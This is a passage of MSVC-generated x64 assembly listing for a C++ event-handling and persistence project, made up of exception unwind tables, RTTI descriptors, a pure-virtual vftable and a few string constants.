$pdata$??$?0UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$QEAV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@1@@Z DD imagerel $LN3
DD imagerel $LN3+182
DD imagerel $unwind$??$?0UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$QEAV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@1@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$?0U?$default_delete@VEventHandler@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$T@Z DD imagerel $LN3
DD imagerel $LN3+109
DD imagerel $unwind$??$?0U?$default_delete@VEventHandler@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$T@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z DD imagerel $LN3
DD imagerel $LN3+88
DD imagerel $unwind$??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$exchange@PEAU_Container_proxy@std@@$$T@std@@YAPEAU_Container_proxy@0@AEAPEAU10@$$QEA$$T@Z DD imagerel $LN3
DD imagerel $LN3+107
DD imagerel $unwind$??$exchange@PEAU_Container_proxy@std@@$$T@std@@YAPEAU_Container_proxy@0@AEAPEAU10@$$QEA$$T@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$?0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@@Z DD imagerel $LN3
DD imagerel $LN3+76
DD imagerel $unwind$??$?0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$?0D@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@D@1@@Z DD imagerel $LN3
DD imagerel $LN3+76
DD imagerel $unwind$??$?0D@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@D@1@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$_Destroy_in_place@PEAD@std@@YAXAEAPEAD@Z DD imagerel $LN3
DD imagerel $LN3+64
DD imagerel $unwind$??$_Destroy_in_place@PEAD@std@@YAXAEAPEAD@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z DD imagerel $LN4
DD imagerel $LN4+121
DD imagerel $unwind$??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z DD imagerel $LN6
DD imagerel $LN6+139
DD imagerel $unwind$??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$forward@AEBUUserCredentials@Persistence@TechnicalServices@@@std@@YAAEBUUserCredentials@Persistence@TechnicalServices@@AEBU123@@Z DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$??$forward@AEBUUserCredentials@Persistence@TechnicalServices@@@std@@YAAEBUUserCredentials@Persistence@TechnicalServices@@AEBU123@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@PEAUEventManagement@Event@Domain@@@Z DD imagerel $LN3
DD imagerel $LN3+116
DD imagerel $unwind$??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@PEAUEventManagement@Event@Domain@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_One_then_variadic_args_t@1@$$QEAU?$default_delete@UEventManagement@Event@Domain@@@1@$$QEAPEAUEventManagement@Event@Domain@@@Z DD imagerel $LN3
DD imagerel $LN3+137
DD imagerel $unwind$??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_One_then_variadic_args_t@1@$$QEAU?$default_delete@UEventManagement@Event@Domain@@@1@$$QEAPEAUEventManagement@Event@Domain@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$?0$$V@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@@Z DD imagerel $LN3
DD imagerel $LN3+89
DD imagerel $unwind$??$?0$$V@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z DD imagerel $LN3
DD imagerel $LN3+95
DD imagerel $unwind$??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$_Unfancy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@YAPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PEAV10@@Z DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$??$_Unfancy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@YAPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PEAV10@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$destroy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$_Default_allocator_traits@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@SAXAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z DD imagerel $LN3
DD imagerel $LN3+83
DD imagerel $unwind$??$destroy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$_Default_allocator_traits@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@SAXAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$exchange@PEAUEventManagement@Event@Domain@@PEAU123@@std@@YAPEAUEventManagement@Event@Domain@@AEAPEAU123@$$QEAPEAU123@@Z DD imagerel $LN3
DD imagerel $LN3+107
DD imagerel $unwind$??$exchange@PEAUEventManagement@Event@Domain@@PEAU123@@std@@YAPEAUEventManagement@Event@Domain@@AEAPEAU123@$$QEAPEAU123@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$?0AEAPEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@AEAPEAUEventManagement@Event@Domain@@@Z DD imagerel $LN3
DD imagerel $LN3+105
DD imagerel $unwind$??$?0AEAPEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@AEAPEAUEventManagement@Event@Domain@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$forward@PEAUEventManagement@Event@Domain@@@std@@YA$$QEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$??$forward@PEAUEventManagement@Event@Domain@@@std@@YA$$QEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$?deallocate@?$_Default_allocator_traits@V?$allocator@U_Container_proxy@std@@@std@@@std@@SAXAEAV?$allocator@U_Container_proxy@std@@@2@QEAU_Container_proxy@2@_K@Z DD imagerel $LN3
DD imagerel $LN3+97
DD imagerel $unwind$?deallocate@?$_Default_allocator_traits@V?$allocator@U_Container_proxy@std@@@std@@@std@@SAXAEAV?$allocator@U_Container_proxy@std@@@2@QEAU_Container_proxy@2@_K@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??$forward@AEAPEAUEventManagement@Event@Domain@@@std@@YAAEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$??$forward@AEAPEAUEventManagement@Event@Domain@@@std@@YAAEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z
pdata ENDS
; COMDAT rtc$TMZ
rtc$TMZ SEGMENT
_RTC_Shutdown.rtc$TMZ DQ FLAT:_RTC_Shutdown
rtc$TMZ ENDS
; COMDAT rtc$IMZ
rtc$IMZ SEGMENT
_RTC_InitBase.rtc$IMZ DQ FLAT:_RTC_InitBase
rtc$IMZ ENDS
; COMDAT ??_R1A@?0A@EA@EventHandler@Event@Domain@@8
rdata$r SEGMENT
??_R1A@?0A@EA@EventHandler@Event@Domain@@8 DD imagerel ??_R0?AVEventHandler@Event@Domain@@@8 ; Domain::Event::EventHandler::`RTTI Base Class Descriptor at (0,-1,0,64)'
DD 00H
DD 00H
DD 0ffffffffH
DD 00H
DD 040H
DD imagerel ??_R3EventHandler@Event@Domain@@8
rdata$r ENDS
; COMDAT ??_R2EventHandler@Event@Domain@@8
rdata$r SEGMENT
??_R2EventHandler@Event@Domain@@8 DD imagerel ??_R1A@?0A@EA@EventHandler@Event@Domain@@8 ; Domain::Event::EventHandler::`RTTI Base Class Array'
ORG $+3
rdata$r ENDS
; COMDAT ??_R3EventHandler@Event@Domain@@8
rdata$r SEGMENT
??_R3EventHandler@Event@Domain@@8 DD 00H ; Domain::Event::EventHandler::`RTTI Class Hierarchy Descriptor'
DD 00H
DD 01H
DD imagerel ??_R2EventHandler@Event@Domain@@8
rdata$r ENDS
; COMDAT ??_R0?AVEventHandler@Event@Domain@@@8
data$rs SEGMENT
??_R0?AVEventHandler@Event@Domain@@@8 DQ FLAT:??_7type_info@@6B@ ; Domain::Event::EventHandler `RTTI Type Descriptor'
DQ 0000000000000000H
DB '.?AVEventHandler@Event@Domain@@', 00H
data$rs ENDS
; COMDAT ??_R4EventHandler@Event@Domain@@6B@
rdata$r SEGMENT
??_R4EventHandler@Event@Domain@@6B@ DD 01H ; Domain::Event::EventHandler::`RTTI Complete Object Locator'
DD 00H
DD 00H
DD imagerel ??_R0?AVEventHandler@Event@Domain@@@8
DD imagerel ??_R3EventHandler@Event@Domain@@8
DD imagerel ??_R4EventHandler@Event@Domain@@6B@
rdata$r ENDS
; COMDAT ??_7EventHandler@Event@Domain@@6B@
CONST SEGMENT
??_7EventHandler@Event@Domain@@6B@ DQ FLAT:??_R4EventHandler@Event@Domain@@6B@ ; Domain::Event::EventHandler::`vftable'
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
DQ FLAT:_purecall
CONST ENDS
; COMDAT ??_C@_1CG@JNLFBNGN@?$AA?$CC?$AAi?$AAn?$AAv?$AAa?$AAl?$AAi?$AAd?$AA?5?$AAa?$AAr?$AAg?$AAu?$AAm?$AAe@
CONST SEGMENT
??_C@_1CG@JNLFBNGN@?$AA?$CC?$AAi?$AAn?$AAv?$AAa?$AAl?$AAi?$AAd?$AA?5?$AAa?$AAr?$AAg?$AAu?$AAm?$AAe@ DB '"'
DB 00H, 'i', 00H, 'n', 00H, 'v', 00H, 'a', 00H, 'l', 00H, 'i', 00H
DB 'd', 00H, ' ', 00H, 'a', 00H, 'r', 00H, 'g', 00H, 'u', 00H, 'm'
DB 00H, 'e', 00H, 'n', 00H, 't', 00H, '"', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_1EK@NIFDJFDG@?$AAs?$AAt?$AAd?$AA?3?$AA?3?$AA_?$AAA?$AAd?$AAj?$AAu?$AAs?$AAt?$AA_?$AAm?$AAa@
CONST SEGMENT
??_C@_1EK@NIFDJFDG@?$AAs?$AAt?$AAd?$AA?3?$AA?3?$AA_?$AAA?$AAd?$AAj?$AAu?$AAs?$AAt?$AA_?$AAm?$AAa@ DB 's'
DB 00H, 't', 00H, 'd', 00H, ':', 00H, ':', 00H, '_', 00H, 'A', 00H
DB 'd', 00H, 'j', 00H, 'u', 00H, 's', 00H, 't', 00H, '_', 00H, 'm'
DB 00H, 'a', 00H, 'n', 00H, 'u', 00H, 'a', 00H, 'l', 00H, 'l', 00H
DB 'y', 00H, '_', 00H, 'v', 00H, 'e', 00H, 'c', 00H, 't', 00H, 'o'
DB 00H, 'r', 00H, '_', 00H, 'a', 00H, 'l', 00H, 'i', 00H, 'g', 00H
DB 'n', 00H, 'e', 00H, 'd', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_1NA@PDNNFCLD@?$AAC?$AA?3?$AA?2?$AAP?$AAr?$AAo?$AAg?$AAr?$AAa?$AAm?$AA?5?$AAF?$AAi?$AAl?$AAe@
CONST SEGMENT
??_C@_1NA@PDNNFCLD@?$AAC?$AA?3?$AA?2?$AAP?$AAr?$AAo?$AAg?$AAr?$AAa?$AAm?$AA?5?$AAF?$AAi?$AAl?$AAe@ DB 'C'
DB 00H, ':', 00H, '\', 00H, 'P', 00H, 'r', 00H, 'o', 00H, 'g', 00H
DB 'r', 00H, 'a', 00H, 'm', 00H, ' ', 00H, 'F', 00H, 'i', 00H, 'l'
DB 00H, 'e', 00H, 's', 00H, ' ', 00H, '(', 00H, 'x', 00H, '8', 00H
DB '6', 00H, ')', 00H, '\', 00H, 'M', 00H, 'i', 00H, 'c', 00H, 'r'
DB 00H, 'o', 00H, 's', 00H, 'o', 00H, 'f', 00H, 't', 00H, ' ', 00H
DB 'V', 00H, 'i', 00H, 's', 00H, 'u', 00H, 'a', 00H, 'l', 00H, ' '
DB 00H, 'S', 00H, 't', 00H, 'u', 00H, 'd', 00H, 'i', 00H, 'o', 00H
DB '\', 00H, '2', 00H, '0', 00H, '1', 00H, '9', 00H, '\', 00H, 'C'
DB 00H, 'o', 00H, 'm', 00H, 'm', 00H, 'u', 00H, 'n', 00H, 'i', 00H
DB 't', 00H, 'y', 00H, '\', 00H, 'V', 00H, 'C', 00H, '\', 00H, 'T'
DB 00H, 'o', 00H, 'o', 00H, 'l', 00H, 's', 00H, '\', 00H, 'M', 00H
DB 'S', 00H, 'V', 00H, 'C', 00H, '\', 00H, '1', 00H, '4', 00H, '.'
DB 00H, '2', 00H, '8', 00H, '.', 00H, '2', 00H, '9', 00H, '3', 00H
DB '3', 00H, '3', 00H, '\', 00H, 'i', 00H, 'n', 00H, 'c', 00H, 'l'
DB 00H, 'u', 00H, 'd', 00H, 'e', 00H, '\', 00H, 'x', 00H, 'm', 00H
DB 'e', 00H, 'm', 00H, 'o', 00H, 'r', 00H, 'y', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0GI@CLKHGMEI@C?3?2Program?5Files?5?$CIx86?$CJ?2Microsof@
CONST SEGMENT
??_C@_0GI@CLKHGMEI@C?3?2Program?5Files?5?$CIx86?$CJ?2Microsof@ DB 'C:\Pro'
DB 'gram Files (x86)\Microsoft Visual Studio\2019\Community\VC\To'
DB 'ols\MSVC\14.28.29333\include\xmemory', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02DKCKIIND@?$CFs@
CONST SEGMENT
??_C@_02DKCKIIND@?$CFs@ DB '%s', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BB@FCMFBGOM@invalid?5argument@
CONST SEGMENT
??_C@_0BB@FCMFBGOM@invalid?5argument@ DB 'invalid argument', 00H ; `string'
CONST ENDS
; COMDAT ?__LINE__Var@?0??_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z@4JA
_DATA SEGMENT
?__LINE__Var@?0??_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z@4JA DD 084H ; `std::_Adjust_manually_vector_aligned'::`1'::__LINE__Var
_DATA ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$forward@AEAPEAUEventManagement@Event@Domain@@@std@@YAAEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?deallocate@?$_Default_allocator_traits@V?$allocator@U_Container_proxy@std@@@std@@@std@@SAXAEAV?$allocator@U_Container_proxy@std@@@2@QEAU_Container_proxy@2@_K@Z DD 025053401H
DD 0118231dH
DD 07011001dH
DD 05010H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$forward@PEAUEventManagement@Event@Domain@@@std@@YA$$QEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$?0AEAPEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@AEAPEAUEventManagement@Event@Domain@@@Z DD 025053301H
DD 0117231cH
DD 07010001dH
DD 0500fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$exchange@PEAUEventManagement@Event@Domain@@PEAU123@@std@@YAPEAUEventManagement@Event@Domain@@AEAPEAU123@$$QEAPEAU123@@Z DD 025052f01H
DD 01132318H
DD 0700c0021H
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$destroy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$_Default_allocator_traits@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@SAXAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$_Unfancy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@YAPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PEAV10@@Z DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$ip2state$??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z DB 02H
DB 00H
DB 00H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$cppxdata$??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z DB 060H
DD imagerel $ip2state$??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z DD 025052f19H
DD 01132318H
DD 0700c001dH
DD 0500bH
DD imagerel __CxxFrameHandler4
DD imagerel $cppxdata$??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$?0$$V@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@@Z DD 025052e01H
DD 01122317H
DD 0700b001dH
DD 0500aH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_One_then_variadic_args_t@1@$$QEAU?$default_delete@UEventManagement@Event@Domain@@@1@$$QEAPEAUEventManagement@Event@Domain@@@Z DD 025053801H
DD 011c2321H
DD 07015001dH
DD 05014H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@PEAUEventManagement@Event@Domain@@@Z DD 025052f01H
DD 01132318H
DD 0700c0021H
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$forward@AEBUUserCredentials@Persistence@TechnicalServices@@@std@@YAAEBUUserCredentials@Persistence@TechnicalServices@@AEBU123@@Z DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$ip2state$??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z DB 02H
DB 00H
DB 00H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$cppxdata$??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z DB 060H
DD imagerel $ip2state$??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z DD 025053419H
DD 0118231dH
DD 07011001dH
DD 05010H
DD imagerel __CxxFrameHandler4
DD imagerel $cppxdata$??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$ip2state$??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z DB 02H
DB 00H
DB 00H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$cppxdata$??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z DB 060H
DD imagerel $ip2state$??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z DD 025052f19H
DD 01132318H
DD 0700c001dH
DD 0500bH
DD imagerel __CxxFrameHandler4
DD imagerel $cppxdata$??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$_Destroy_in_place@PEAD@std@@YAXAEAPEAD@Z DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$?0D@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@D@1@@Z DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$?0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@@Z DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$exchange@PEAU_Container_proxy@std@@$$T@std@@YAPEAU_Container_proxy@0@AEAPEAU10@$$QEA$$T@Z DD 025052f01H
DD 01132318H
DD 0700c0021H
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$?0U?$default_delete@VEventHandler@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$T@Z DD 025052f01H
DD 01132318H
DD 0700c0021H
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$?0UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$QEAV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@1@@Z DD 025052f01H
DD 01132318H
DD 0700c002bH
DD 0500bH
xdata ENDS
